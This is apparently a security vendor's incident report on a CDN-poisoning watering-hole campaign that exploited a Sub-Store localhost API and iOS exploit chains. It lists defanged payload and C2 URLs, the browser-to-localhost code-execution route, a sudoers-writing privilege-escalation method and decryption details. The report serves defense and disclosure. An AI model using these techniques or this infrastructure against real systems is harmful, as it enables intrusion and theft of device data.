Research / September 5, 2026

Uncovering a Live Watering Hole Attack

Funnull-linked CDN poisoning exploited a Sub-Store zero-day and delivered ProRAM on Windows and macOS, RingH23 on Linux, Coruna and DarkSword on iPhones, and a mobile redirect chain.

SpeedyBee is a legitimate FPV store. On September 3, its storefront became a watering hole when BootCSS selectively appended malicious JavaScript to the jQuery file it served. The preserved SpeedyBee HTML contained no malicious bytes; they arrived in the BootCSS response.

The injected JavaScript targeted visitors. On Windows, macOS, and Linux, it called an unauthenticated Sub-Store service on localhost and used its Script Operator to execute native payload loaders. The resulting chains delivered ProRAM on Windows and macOS and RingH23 Rinit on Linux. A separate mobile appendage routed supported iPhones into Coruna or DarkSword and sent other mobile traffic through a hidden advertising and traffic-rotation network.

This was a Sub-Store zero-day exploited in the wild. The chain bypassed proxy subscriptions and required no prompt or interaction with Sub-Store. A poisoned dependency and a reachable affected backend were enough.

Affected software and remediation

Users of Clash Party, Sparkle, and other Chinese proxy applications that start a local Sub-Store backend should verify the active backend version. Versions 2.11.4 through 2.37.1 are affected. Version 2.38.0 blocks the browser-origin attack path; version 2.38.2 has also been verified. Disable the Sub-Store feature if the active backend cannot be updated.

Clash Party 2.0.2 for Linux and macOS marks its mihomo sidecars setuid root. Updating Sub-Store blocks the browser entry point. The setuid privilege boundary requires separate remediation. Remove the setuid permission or stop using the package until it no longer runs a general-purpose proxy core setuid. Removing the permission can disable functions that rely on root.

Campaign overview

Solid lines below are recovered protocol transitions. Dotted lines are infrastructure associations or stages for which the exact upstream request was not recovered.

Diagram of the malware delivery and command-and-control flow

Drag to pan. Pinch inside the diagram, use Command or Control plus the mouse wheel, plus and minus keys, or zoom buttons to zoom. Ordinary scrolling moves the page. Press zero or Home to reset and fit the diagram.

100%
Rendering diagram…

BootCSS and BootCDN served modified third-party code from established library URLs. Reported Staticfile samples contain the same desktop loader. The mobile appendage carried two iOS exploit routes and a separate traffic-rotation branch. On desktop, the loader used Sub-Store's unauthenticated local HTTP API to execute code.

Protocol flow

Desktop and Linux

StepProtocol and complete URLResult
CarrierGET hxxps://cdn[.]bootcss[.]com/jquery/3.3.1/jquery.min.jsA selected response contains jQuery plus the desktop loader.
CarrierGET hxxps://cdn[.]bootcdn[.]net/ajax/libs/tldjs/2.3.1/tld.min.jsA selected response contains TLD.js plus the desktop or mobile loader.
CarrierGET hxxps://cdn[.]staticfile[.]org/lovefield/2.1.12/lovefield.min.jsReported Lovefield carrier; reconstructed hash matches the reported sample.
CarrierGET hxxps://cdn[.]staticfile[.]org/limonte-sweetalert2/9.17.2/sweetalert2.all.min.jsReported SweetAlert2 carrier; reconstructed hash matches the reported sample.
Desktop landingGET hxxps://66[.]179[.]31[.]11/linux/wp.html or GET hxxps://66[.]179[.]31[.]11/linux/mp.htmlThe page builds the localhost exploit request in the browser.
Local code executionPOST hxxp://127[.]0[.]0[.]1:38324/api/preview/subURL-encoded form data supplies the Script Operator; Sub-Store compiles it with new Function in a Node.js worker with access to require and child_process.
Windows payloadGET hxxps://66[.]179[.]31[.]11/sideload.exeSaved as %TEMP%\dl.exe; the SFX launches a signed 360 executable beside the malicious ProRAM DLL.
macOS payloadGET hxxps://d1u70y867zmoi6[.]cloudfront[.]net/helperSaved as $HOME/updated; the file is the ARM64 ProRAM implant.
macOS privilege stageGET hxxps://66[.]179[.]31[.]11/linux/mac_pwn.zip, GET hxxp://127[.]0[.]0[.]1:19099/version, then POST hxxp://127[.]0[.]0[.]1:19099/upgrade/uiStarts Clash Party's root-owned setuid Mihomo with SKIP_SAFE_PATH_CHECK=1 and /etc/sudoers.d as its UI directory. The updater clears that directory and writes a passwordless-sudo rule for ec2-user. Other usernames still receive user-level ProRAM.
Linux landingGET hxxps://66[.]179[.]31[.]11/linux/lp.htmlUses the same Sub-Store route, then targets the setuid Clash Party Mihomo sidecar. The CDN request that selected this landing is not recovered.
Linux privilege stageGET hxxp://127[.]0[.]0[.]1:19099/version, POST hxxp://127[.]0[.]0[.]1:19099/upgrade/ui, with external-ui-url=hxxps://66[.]179[.]31[.]11/linux/linux_pwn.zipExtracts group-based passwordless-sudo rules into /etc/sudoers.d when the setuid path succeeds.
Linux payloadGET hxxp://18[.]136[.]197[.]129/initSaves Rinit as /root/init and starts the RingH23 installer with the landing page's session and prorat group.
ProRAM controlWSS wss://clash-verge-upgrade[.]com/edge-af6032129bd933a9/agents/streamTLS, HTTP Upgrade, then binary MessagePack command frames through Cloudflare.
Windows fallback configurationdns://d[.]clash-verge-upgrade[.]com/proram?http=hxxps://clash-verge-upgrade[.]comDefines DNS and HTTPS transports. The sample does not expose enough implementation to state the DNS record type or encoding.
Origin bindingGET hxxp://20[.]187[.]77[.]65/Returns HTTP 301 with Location: hxxps://clash-verge-upgrade[.]com/; direct TLS on 20[.]187[.]77[.]65:443 presents the C2 hostname certificate.

ProRAM upgrades to wss://clash-verge-upgrade[.]com/edge-af6032129bd933a9/agents/stream. After the TLS and HTTP Upgrade handshakes, it exchanges binary MessagePack frames. hello, hello_ack, and enrollment_status establish the agent. ping and pong maintain the connection. task_ack, task_progress, task_result, and task_cancel_ack report task state. session_data, session_event, and session_closed carry interactive-session traffic. The Windows configuration also contains dns://d[.]clash-verge-upgrade[.]com/proram?http=hxxps://clash-verge-upgrade[.]com. That string establishes a DNS transport rooted at d[.]clash-verge-upgrade[.]com with an HTTPS base fallback. The captured artifacts do not establish its DNS record type or on-wire encoding.

Rinit sends GET hxxps://service[.]mynamer[.]eu/api/session/verify with an X-Session header, requests GET hxxps://service[.]mynamer[.]eu/api/client_group/<key>, and registers through GET hxxps://service[.]mynamer[.]eu/api/register/<machine-id>. The same static method assignment used by the verification, group, and registration routines establishes GET for all three. Its custom HTTP client disables TLS certificate verification. The optional edge-node templates are GET hxxp://edge-node[.]mynamer[.]eu/edge-node/374/edge-node-linux-amd64-plus-v<version>.zip and GET hxxp://edge-node[.]mynamer[.]eu/edge-node/374.30/edge-node-linux-amd64-plus-v<version>.zip. No child archive was recovered.

iOS and mobile traffic

StepProtocol and complete URLResult
iOS bootstrapGET hxxps://cdn[.]data-1283[.]com/app.vue.jsReturns an HTTP redirect to hxxps://www[.]amazonawsapirds[.]com/in-static.js.
iOS bootstrap scriptGET hxxps://www[.]amazonawsapirds[.]com/in-static.jsCreates the hidden iframe for the route selector.
iOS selectorGET hxxps://www[.]amazonawsapirds[.]com/start-view.html?<random>A hidden iframe selects an iOS branch.
DarkSword routeGET hxxps://www[.]amazonawsapirds[.]com/98jgbibyeep2qfkvcq.html?<random>Redirects to hxxps://xncb79[.]cc/assets/js/group.html.
DarkSword group pageGET hxxps://xncb79[.]cc/assets/js/group.htmlLoads the exploit selector and version-specific stages.
Coruna routeGET hxxps://www[.]amazonawsapirds[.]com/496041705bdc90ceee1b4ea254b208261e89075b.html?<random>Fingerprints the iPhone, rejects Lockdown Mode and private browsing, and selects a Coruna chain for iOS 13 through 17.2.1.
Coruna WebContent R/WGET hxxps://www[.]amazonawsapirds[.]com/c2dc9ff745629af5fcd829e5077170f59ac38826.js, GET hxxps://www[.]amazonawsapirds[.]com/0e0f11c859363b87e7a134df85502ca05a7041a2.js, GET hxxps://www[.]amazonawsapirds[.]com/303ea491b92e7d4d0adee18ddf5a5ab5c2ccd1de.js, GET hxxps://www[.]amazonawsapirds[.]com/04d7afd7f79ad0131b7b1d0be121f3380a541843.js, or GET hxxps://www[.]amazonawsapirds[.]com/b99744096a325e6726856364a6a05eb7b5727f20.jsSelects buffout, jacurutu, bluebird, terrorbird, or cassowary by iOS version.
Coruna PAC bypassGET hxxps://www[.]amazonawsapirds[.]com/03fdc4d41b99943685ce6da11b178573717d0bc8.js, GET hxxps://www[.]amazonawsapirds[.]com/2e621e2dc5051b2596fe36a21804bb8f2c7e698f.js, GET hxxps://www[.]amazonawsapirds[.]com/aa3f03606a5109fc83683b9fe30a0ff1a7d43249.js, GET hxxps://www[.]amazonawsapirds[.]com/68c279aa488ab8da27c5925e08d1170693b92729.js, GET hxxps://www[.]amazonawsapirds[.]com/e5a266f2e46e7f8fc6fe64da918d49224a2f8297.js, or GET hxxps://www[.]amazonawsapirds[.]com/58a69b9b9c205320ef3194041ee92aeee4f482b8.jsSelects the breezy, breezy15, or seedbell PAC-bypass variant.
Coruna binary-stage loaderGET hxxps://www[.]amazonawsapirds[.]com/f98612b607eacf477caedf1c491e084d2d0f3030.js or GET hxxps://www[.]amazonawsapirds[.]com/2f870ab288a59e71f449735fa126e71d38825d5e.jsLoads the selected sandbox escape, kernel exploit, RPC stager, log cleaner, and post-exploitation packages.
Coruna package manifestGET hxxps://www[.]amazonawsapirds[.]com/4c9b71a2c0ec188722c91a216194e7034e742058.min.js?<random>Returns a ChaCha20-encrypted, XZ-compressed package manifest containing 19 device and version-specific bundles.
Coruna child packagesGET hxxps://www[.]amazonawsapirds[.]com/2a9ebebcb43a37d1be4e9356f9e06a9a594c3914.min.js, GET hxxps://www[.]amazonawsapirds[.]com/11d9514f3795f3b7120f7a36a3dc3eb524d39aee.min.js, GET hxxps://www[.]amazonawsapirds[.]com/6f3eff5629eeae88ab69a1311dcdeceff11e552d.min.js, GET hxxps://www[.]amazonawsapirds[.]com/2d7ff027a7464de343d58d7721eb448df5a6aa58.min.js, GET hxxps://www[.]amazonawsapirds[.]com/e7d782556a27b50c553d343fa8cf1d52b3b96331.min.js, GET hxxps://www[.]amazonawsapirds[.]com/c93a7138eee3f1a2b99a32ca79a96367cc0b2a66.min.js, GET hxxps://www[.]amazonawsapirds[.]com/600aa7a6c28c81284576fed2d3d901511d055d76.min.js, GET hxxps://www[.]amazonawsapirds[.]com/ee857e24916edce0927b0fe49edaccacb47a3e63.min.js, GET hxxps://www[.]amazonawsapirds[.]com/7e6bbbf7fe07faee1a2710d902727ba07e26e3b9.min.js, or GET hxxps://www[.]amazonawsapirds[.]com/060ec83c071a647e67ddf5b84db646541a49be16.min.jsTen catalog children reduce to two Mach-O builds of the PLASMAGRID CorePayload manager, one arm64 and one arm64e.
PLASMAGRID configurationHEAD or GET hxxps://<deployment-DGA-host>/cache_storage/release-docs.htmlRetrieves the encrypted configuration that selects the CorePayload, target process and application modules. The generated host and response were not observed.
PLASMAGRID reporting checkGET hxxps://<reporting-DGA-host>/api/user/queryChecks a separate generated reporting server. The generated host and response were not observed.
PLASMAGRID event and upload channelPOST hxxps://<reporting-DGA-host>/api/user/avatar/putSends encrypted device identity and event data and supports multipart upload. No victim report or uploaded file was observed.
DarkSword loaderGET hxxps://xncb79[.]cc/assets/js/rce_loader.js?<cache-buster>Checks the iOS version and selects the version-specific exploit files.
DarkSword JSC stagesGET hxxps://xncb79[.]cc/assets/js/rce_module.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_module_18.6.js?<cache-buster>, or hxxps://xncb79[.]cc/assets/js/rce_module_18.7.js?<cache-buster>; and GET hxxps://xncb79[.]cc/assets/js/rce_worker_18.4.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_worker_18.6.js?<cache-buster>, or hxxps://xncb79[.]cc/assets/js/rce_worker_18.7.js?<cache-buster>Runs the version-specific JavaScriptCore stage for iOS 18.4 through 18.7.2.
DarkSword privilege stagesGET hxxps://xncb79[.]cc/sbx0_main_18.4.js?_r=1&_b=0, GET hxxps://xncb79[.]cc/sbx1_main.js?_r=1&_b=0, then GET hxxps://xncb79[.]cc/pe_worker.js?_r=1&_b=0Escapes the browser sandbox, reaches privileged system processes, performs kernel privilege escalation, and installs the memory-resident post-exploitation bundle.
DarkSword controlPOST hxxps://odsj13[.]cc/beacon, POST hxxps://odsj13[.]cc/result, POST hxxps://odsj13[.]cc/event, POST hxxps://odsj13[.]cc/a, POST hxxps://odsj13[.]cc/u, POST hxxps://odsj13[.]cc/nb, POST hxxps://odsj13[.]cc/p, and POST hxxps://odsj13[.]cc/warRegisters the implant, maintains status, returns command results, and uploads device, app, Notes, photo/file, keychain, and wallet data. /p uses multipart upload.
Traffic-rotator bootstrapGET hxxps://www[.]cdnboostcache[.]com/sdk.html?s=bcdnLoads GET hxxps://www[.]cdnboostcache[.]com/sdk16.1.0.js and GET hxxps://www[.]cdnboostcache[.]com/you.js, then creates repeated sandboxed iframe visits.
Fuliaga routesGET hxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=mseose&t=u, GET hxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=gdgjcse&t=u, or GET hxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=idjc&t=uWeighted at 20%, 20%, and 10%. The page loads GET hxxps://a3c3dqnk[.]fuliaga[.]com/js/cnzztracking.js.
Lahaiya routesGET hxxps://h5xk8i48[.]lahaiya[.]com/redirect?from=wopb&t=u or GET hxxps://h5xk8i48[.]lahaiya[.]com/redirect?from=nwose&t=uWeighted at 20% and 30%. The page loads GET hxxps://h5xk8i48[.]lahaiya[.]com/js/cnzztracking.js.
Terminal navigationhxxps://97785[.]mpllorx[.]com, hxxps://5v10[.]xlrc1n4m4[.]cc, hxxps://www[.]688bcr[.]com/home.html?ax=1, hxxps://www[.]ptk765[.]com/home.html?ax=1, hxxps://11166[.]lmdpoft[.]com, hxxps://6v01[.]85tsqceen[.]cc, or hxxps://www[.]ijkvqmc[.]cc:8853UA-aware redirect into advertising, video, or opaque web-application destinations. The recovered terminal responses contained no native payload.

Exposure in the Chinese proxy ecosystem

Sub-Store is used across the Chinese proxy software ecosystem. It manages subscriptions for Quantumult X, Loon, Surge, Stash, Egern, and Shadowrocket, and produces configurations for Clash.Meta or Mihomo, Surfboard, sing-box, V2Ray, and other clients.

Exposure requires an application to bundle or start an affected Sub-Store Node.js backend that a browser can reach. Sub-Store's list of supported output formats does not establish exposure for every compatible client.

Clash Party packages and manages the backend. Version 2.0.2 contains Sub-Store 2.36.38. Sparkle also integrates Sub-Store, and victim telemetry linked Sparkle 6.0.11.3 to the Windows download stage. That report confirms one exposed Sparkle installation; its complete affected-version range remains unknown.

Users of Quantumult X, Loon, Surge, Stash, Egern, Shadowrocket, Mihomo, Surfboard, sing-box, and V2Ray should check for a local Sub-Store backend, plugin, or sidecar. Clients that only consume a configuration generated elsewhere do not expose this localhost route.

The browser delivered the exploit through the local service exposed by the proxy application.

Affected versions

Status as of September 5:

ProductVerified statusWhat to do
Sub-Store2.11.4 through 2.37.1 reproduced as affectedUpdate to 2.38.2. Use at least 2.38.0.
Clash Party1.2.6 through the current 2.0.2 release contain an affected integrationUse the in-app Sub-Store updater, then verify that the active backend is 2.38.0 or later.
SparkleOne victim report involved 6.0.11.3; the full range is unknownCheck the active Sub-Store version. Update or disable it.

Clash Party 2.0.2 still packages Sub-Store 2.36.38. Reinstalling Clash Party can therefore restore the old bundle. Reapply the Sub-Store update after an application reinstall.

Sub-Store 2.38.0 restricted CORS and blocked the browser-origin path used in this incident. The privileged API remains unauthenticated and reachable to network clients or clients that omit the Origin header.

Conditional CDN poisoning

SpeedyBee included this exact dependency twice:

text
hxxps://cdn[.]bootcss[.]com/jquery/3.3.1/jquery.min.js

The official jQuery file was 86,927 bytes. The clean BootCSS responses were byte-for-byte identical to it.

The modified responses kept the entire genuine file as an exact prefix, then appended one of two malicious loaders. The Windows response was 87,501 bytes, an extra 574 bytes. The macOS-oriented response was 88,503 bytes, an extra 1,576 bytes.

The 574-byte appendage hid strings through character-code construction and reversal, then created a zero-size off-screen iframe for the Windows landing page. The 1,576-byte variant used the same technique for the macOS route.

The response set proves conditional delivery. The infection rate and upstream selector remain unknown. User-Agent controlled platform-specific routing after selection.

BootCDN and Staticfile delivery

A Linux.do report identified the same conditional poisoning in a BootCDN dependency used by a Tampermonkey script:

text
hxxps://cdn[.]bootcdn[.]net/ajax/libs/tldjs/2.3.1/tld.min.js

The poisoned BootCDN response is 141,653 bytes with SHA-256 8f167ff22812d7df293116bfa1a1c33e5d07ccd02e4d9e806d79abe66b7327fc.

The official tldjs file is 141,079 bytes with SHA-256 6c459c688d05bbda53ede4e2aac0862d2f4599efb297cf753129866dba170401. It forms the exact prefix of the poisoned response. The remaining 574 bytes match the BootCSS Windows loader and open hxxps://66[.]179[.]31[.]11/linux/wp.html.

Another researcher independently reported the same 574-byte appendage on two libraries served through cdn[.]staticfile[.]org:

  • lovefield.min.js — SHA-256 ab8f5c6709a64cc2badba38828ef0be2b7a23f51686fe700f24504c49b753aef
  • sweetalert2.all.min.js — SHA-256 3973602a96e09e2080ac4f6a17225b6881f260e508d0f7a325d985a59dd8b750

Reconstruction from the official libraries and the BootCSS appendage produces both reported hashes exactly. The Staticfile samples were clean Lovefield 2.1.12 and SweetAlert2 9.17.2 files followed by the same desktop Sub-Store loader. Both carried the existing loader.

The BootCDN mobile response used a separate 2,571-byte appendage after the clean tldjs file. It loaded hxxps://cdn[.]data-1283[.]com/app.vue.js, which led to Coruna or DarkSword on iPhones, and hxxps://www[.]cdnboostcache[.]com/sdk.html?s=bcdn, which ran a mobile traffic rotator.

iOS: Coruna and DarkSword

The iPhone branch requested GET hxxps://cdn[.]data-1283[.]com/app.vue.js, followed the redirect to GET hxxps://www[.]amazonawsapirds[.]com/in-static.js, and loaded GET hxxps://www[.]amazonawsapirds[.]com/start-view.html?<random> in a hidden iframe. The selector had two exploit routes: Coruna for older iOS versions and DarkSword for iOS 18.4 through 18.7.2.

Coruna: iOS 13 through 17.2.1

GET hxxps://www[.]amazonawsapirds[.]com/496041705bdc90ceee1b4ea254b208261e89075b.html?<random> is a Coruna exploit-kit loader. The page is 47,873 bytes with SHA-256 396309c6770d009f9642e5b6d09528a18cecea59a873b8fb0fbf5f7cfc8e0579. The server returns the same page to old and new iPhone profiles. The JavaScript performs the version and device selection locally.

The attribution is exact at the framework level. The page uses Coruna's XOR string and integer encoding, hard-coded 16-character resource cookie 8aeadbb23da0657e, and sha256(cookie + module_id)[:40] resource naming. It rejects private browsing and Lockdown Mode, then chooses one of the following WebContent read/write stages:

iOS versionCoruna stageVulnerability status
13.0–15.1.1buffoutCVE-2021-30952
15.2–15.5jacurutuCVE-2022-48503
15.6–16.1.2bluebirdNo CVE assigned
16.2–16.5.1terrorbirdCVE-2023-43000
16.6–17.2.1cassowaryCVE-2024-23222

The next JavaScript stage selects the breezy, breezy15, or seedbell PAC bypass for the device. Two binary-stage loaders then select the sandbox escape, privilege escalation, PPL bypass, and payload package for the device model and iOS build. The exact JavaScript URLs are in the protocol table above.

The terminal loader requests GET hxxps://www[.]amazonawsapirds[.]com/4c9b71a2c0ec188722c91a216194e7034e742058.min.js?<random>. The 1,320-byte response has SHA-256 6fa04c0790b169831ec807538d85a9d1141eeb0d76538f3d851b41342656cdc3. Despite its .min.js suffix and JavaScript content type, it is an encrypted binary manifest. Coruna decrypts it with ChaCha20, decompresses the XZ stream, and parses a 0xF00DBEEF container containing a 0x12345678 package manifest.

The manifest names 19 encrypted device and version-specific packages:

text
hxxps://www[.]amazonawsapirds[.]com/ebadfafaf8a6fdb04e7cf63f980c016411e9d079.min.js
hxxps://www[.]amazonawsapirds[.]com/b0d9ee224cbda691ab54c9241af9c16cafa230da.min.js
hxxps://www[.]amazonawsapirds[.]com/3a2b5fe95fafde74a04eb5734c5577137d64256e.min.js
hxxps://www[.]amazonawsapirds[.]com/c85b531074954609cbaab606c8ddd787b15f2018.min.js
hxxps://www[.]amazonawsapirds[.]com/75a73764a880978ef9b05822975ae0df349b7fe8.min.js
hxxps://www[.]amazonawsapirds[.]com/112c0dec243f1932f3b5cfd20ae58f1f940e9abc.min.js
hxxps://www[.]amazonawsapirds[.]com/5697509a724f1018d8ca55e12a10ddccc4be4832.min.js
hxxps://www[.]amazonawsapirds[.]com/6b95ce8eabba44c8be37c6046a7d71d9fbc6b50f.min.js
hxxps://www[.]amazonawsapirds[.]com/a7ea3a99a5e4e06f4d1b04add3f6dbd241b524ee.min.js
hxxps://www[.]amazonawsapirds[.]com/7e7c853ffd6cbd159e07cb1b9a83cd8385ce7e8e.min.js
hxxps://www[.]amazonawsapirds[.]com/e9145dccd1ec075491f04e0837986fc228d8d75c.min.js
hxxps://www[.]amazonawsapirds[.]com/4c6705703f9dcc17b66ba6c0676833e9f9698ec7.min.js
hxxps://www[.]amazonawsapirds[.]com/099b23d7b1a2ed88cc4aab1265532a9dd0691e7b.min.js
hxxps://www[.]amazonawsapirds[.]com/cdc5fc4e37b224110c56f99db0964ca1682f7c3a.min.js
hxxps://www[.]amazonawsapirds[.]com/4de989dc7f1f6dd8dbcaca4636aed3387a438b10.min.js
hxxps://www[.]amazonawsapirds[.]com/e41153e4ff14feba463c9cc7cffff19aec7eb774.min.js
hxxps://www[.]amazonawsapirds[.]com/a214ac383153f34fe6df817563c748b07c4c77de.min.js
hxxps://www[.]amazonawsapirds[.]com/2bd9796cac8b4e9cc494504fb578d71b9b1f4950.min.js
hxxps://www[.]amazonawsapirds[.]com/2449fa32853c9173062f2287ca6a0bfb90954ae9.min.js

Each package decrypts to a loader, kernel exploit, RPC stager, launcher configuration, child manifest, and, for some devices, a second kernel exploit or log cleaner. The components target powerd, remove Safari website data, and delete crash and diagnostic reports below /private/var/mobile/Library/Logs/CrashReporter and /var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports.

The nested manifests name ten final package URLs, also listed in the protocol table. They reduce to two unsigned Mach-O builds: arm64 SHA-256 170515dc93120111760cc8c9e1deefb9a81939d123749d15f13ad5eca55042da and arm64e SHA-256 aa3934340337aaceee150fd8e2acaa5b5da71a59161585594e53d0477d9d87c6. Neither hash appears in the samples published by Google or iVerify. Both are new PLASMAGRID loader/manager builds.

The recovered PLASMAGRID manager is a post-exploitation controller. Its downloaded modules provide the collection capability. The manager is built to:

  • open Apple's root powerd daemon through the exploit interface;
  • inventory the UDID, ECID, serial number, iOS version and build, model, kernel, hostname, carrier, language, region, timezone, boot time, storage and current application;
  • request GET hxxp://ip-api[.]com/json and stop when the returned country is blocked by the downloaded policy;
  • generate separate deployment and reporting host pools;
  • retrieve an encrypted module catalogue;
  • download a configuration-selected CorePayload, verify its size and SHA-256, and inject _entry_main into powerd or another configured target;
  • monitor the CorePayload, reinject it after a target restart, and hot-update it;
  • download per-application modules, verify them, keep them in memory and securely erase them on shutdown; and
  • encrypt and upload device reports and events.

The deployment pool uses seed 0fdc6d82f2a7a09c79f15a03f8c98f18 and checks HEAD or GET hxxps://<generated-host>/cache_storage/release-docs.html. The reporting pool uses seed 68ad45c5f822d346d27fcc28fba5ce88, checks GET hxxps://<generated-host>/api/user/query, and sends events to POST hxxps://<generated-host>/api/user/avatar/put. These hosts are generated at run time. No generated host was contacted during this analysis, and none is promoted to a confirmed IOC without observed resolution or traffic.

Configuration, CorePayload and module objects use a damaged 7-Zip header followed by a password-protected archive. The manager repairs the header, extracts it with derived password 08e02721bb581f8c9fc5982da317c56b, and rejects an object whose size or SHA-256 does not match the catalogue. Event reports use AES-256-ECB with PKCS#7 padding. The key is derived by hashing a built-in secret and the millisecond timestamp with SHA-256. The base64 ciphertext is sent with timestamp, x-hash, ver: 3.2.10, and sdkv: 3.2.10 headers.

This build differs from the version in Google's Coruna report. Google's deployment used hxxp://<C2>/details/show.html and a lazarus-seeded .xyz DGA. This deployment uses different binaries, paths, seeds, domain lengths and TLDs.

Google and iVerify recovered later PLASMAGRID stages that searched Photos and Apple Notes, decoded QR codes, looked for BIP39 seed phrases, and injected hooks into cryptocurrency-wallet applications. iVerify also recovered SpringBoard, imagent, WhatsApp and SMS/iMessage components. Those binaries, target lists and collection routines are absent from the two managers recovered here. This server's post-infection configuration, CorePayload and per-application modules were not recovered. This incident confirms PLASMAGRID manager delivery and a modular theft architecture. No wallet or Notes theft was observed.

The manager maintains continuity inside the running system with heartbeat recovery, reinjection, hot updates, encrypted caches and /tmp control markers. The recovered deployment installed no LaunchDaemon, LaunchAgent or configuration profile. iVerify found that rebooting cleared the active injected processes in its deployment. Forensic files remained, and an unpatched device could be infected again.

Coruna stops selecting an exploit at iOS 17.3.

DarkSword: iOS 18.4 through 18.7.2

The DarkSword route continues through GET hxxps://www[.]amazonawsapirds[.]com/98jgbibyeep2qfkvcq.html?<random>, an HTTP redirect to GET hxxps://xncb79[.]cc/assets/js/group.html, and GET hxxps://xncb79[.]cc/assets/js/rce_loader.js?<cache-buster>. The recovered files include the version-specific workers, sandbox escapes, privilege-escalation stage, and post-exploitation bundle.

This is DarkSword with high confidence. The stage names, exploit order, Webpack source tree, crash-report deletion, and MIG-filter bypass match the DarkSword chain published by Google Threat Intelligence Group.

The chain uses six assigned vulnerabilities:

  • CVE-2025-31277 and CVE-2025-43529 for JavaScriptCore memory corruption.
  • CVE-2026-20700 for a dyld pointer-authentication bypass.
  • CVE-2025-14174 to escape WebContent into the GPU process.
  • CVE-2025-43510 to pivot from the GPU process to mediaplaybackd.
  • CVE-2025-43520 for kernel privilege escalation.

Google reports that CVE-2025-43529, CVE-2026-20700, and CVE-2025-14174 were exploited as zero-days.

The final pe_worker.js is a modified GHOSTBLADE-derived implant. It contains routines to inject a keychain copier into configd, copy keychain databases and keybags, inject a loader and command agent into SpringBoard, and remain in memory until reboot. Its collection modules cover device details, installed apps, Notes, selected photos, and cryptocurrency wallet data. It also supports file and process operations, network inspection, memory dumping, and arbitrary JavaScript commands.

The command agent sends HTTPS POST requests to hxxps://odsj13[.]cc/beacon, hxxps://odsj13[.]cc/result, hxxps://odsj13[.]cc/event, hxxps://odsj13[.]cc/a, hxxps://odsj13[.]cc/u, hxxps://odsj13[.]cc/nb, hxxps://odsj13[.]cc/p, and hxxps://odsj13[.]cc/war. These endpoints handle status, command results, events, device data, app inventory, Notes, multipart file upload, and wallet or keychain material.

The bundle differs from Google's published GHOSTBLADE sample and adds a continuous command channel absent from that sample. It is classified as GHOSTBLADE-derived. The artifacts do not identify its operator.

Does either route exploit iOS 26?

No recovered route exploits iOS 26. Coruna stops at iOS 17.2.1. The observed DarkSword loader accepts iOS 18.4.0 through 18.7.2, rejects 18.7.3 and later, and selects no worker for major version 26. An iOS 26 profile can still receive the malicious CDN appendage and exploit page. Both recovered loaders stop before exploitation.

These version limits apply to the recovered deployment. The same infrastructure could serve different files later. Install the newest iOS version available. If an update is unavailable, enable Lockdown Mode; the recovered Coruna loader explicitly exits when Lockdown Mode is active.

Mobile branch: traffic rotator

The observed hxxps://www[.]cdnboostcache[.]com/sdk.html?s=bcdn route was separate from Sub-Store, Coruna, and DarkSword. It loaded hxxps://www[.]cdnboostcache[.]com/sdk16.1.0.js and hxxps://www[.]cdnboostcache[.]com/you.js. The code chose among the five weighted Fuliaga and Lahaiya URLs in the protocol table, opened the result in an off-screen sandboxed iframe, and repeated every ten seconds without a referrer.

The route pages load hxxps://a3c3dqnk[.]fuliaga[.]com/js/cnzztracking.js or hxxps://h5xk8i48[.]lahaiya[.]com/js/cnzztracking.js, fingerprint Safari and iOS versions, decode one of seven destinations, and replace the frame location after 500 milliseconds:

  • hxxps://97785[.]mpllorx[.]com and hxxps://11166[.]lmdpoft[.]com returned Chinese-language video and advertising shells. Most content areas open hxxps://6661[.]vh7h[.]com/web/index.html?jkzza=1 or hxxps://6661[.]mk5j[.]com/web/index.html?jkzz=1.
  • hxxps://5v10[.]xlrc1n4m4[.]cc returned 165 bytes of JavaScript that creates hxxps://<random>[.]l6hj89dlf[.]cc/#/category/default/1 and redirects to it.
  • hxxps://www[.]ijkvqmc[.]cc:8853 returned an encoded Vite application shell with CNZZ and Baidu analytics, an API on hxxps://api1[.]hdgpjs[.]cn/, and assets below hxxps://ggjs[.]nhgucj[.]cn/gm/. The exact API and asset paths are generated by the application and were not recovered.
  • hxxps://6v01[.]85tsqceen[.]cc denied both profiles with HTTP 403. hxxps://www[.]688bcr[.]com/home.html?ax=1 and hxxps://www[.]ptk765[.]com/home.html?ax=1 did not return a body before timeout.

This branch manufactures hidden visits every ten seconds, removes the referrer, and chooses destinations by User-Agent. Two captured terminals were Chinese video and advertising shells that pushed clicks into another site. One generated a random-subdomain redirect, one was an analytics-heavy application shell, one returned HTTP 403, and two were unavailable. The available responses contained no native download, DarkSword stage names, or the WebAssembly, worker, JIT, IOSurface, and memory-corruption code present in the exploit branch. Action-gated behaviour beyond the advertising click-throughs and opaque application bundle remains unknown.

Traffic monetisation, impression inflation, or traffic resale is the best-supported explanation. The code does not reveal the payment arrangement. The rotator shared the poisoned mobile appendage with DarkSword; the recovered artifacts do not establish common control of their downstream systems.

Browser-to-localhost code execution

The three recovered desktop and Linux landing pages sent a request to:

text
http://127.0.0.1:38324/api/preview/sub

That port is commonly used by the Sub-Store backend bundled with Clash Party. The route accepted a user-controlled Script Operator, built a JavaScript function from it, and ran it inside the Node.js worker. The function could access Node features such as child_process.

The route did not require authentication. The Node server also permitted every browser origin by default. That meant an arbitrary public website could send code to a privileged local API and have the application run it.

Loopback provided no isolation because browsers could reach the unauthenticated API from arbitrary origins.

Safe reproduction with a fixed marker confirmed code execution in official Sub-Store versions 2.11.4 through 2.37.1. Versions 2.38.0 and 2.38.2 rejected the same external browser origin with HTTP 403.

The attacker used the same primitive to start an operating-system downloader.

Windows payload: ProRAM

The Windows command downloads sideload.exe as %TEMP%\dl.exe and starts it.

It was a 7-Zip self-extracting archive. It unpacked into this sample-specific directory:

text
%LOCALAPPDATA%\Microsoft\eNkge3e6\

The archive contained 360speedld.exe and somkernl.dll.

360speedld.exe is an old, correctly signed 360 utility with the internal filename SoftupNotify.exe. The attacker used its adjacent DLL load to execute somkernl.dll.

The adjacent DLL was malicious. Starting the trusted program caused it to load the attacker DLL. This is ordinary DLL sideloading, and it is why blocking every copy of the signed 360 executable would create a noisy and unreliable detection rule.

The DLL identifies itself with ProRAM and PRO_RAM strings. It collects host and user information, maintains a persistent identity, accepts remote commands, runs shell commands, transfers files, manages persistence, and communicates over WebSocket, HTTPS, and a DNS-based failover path.

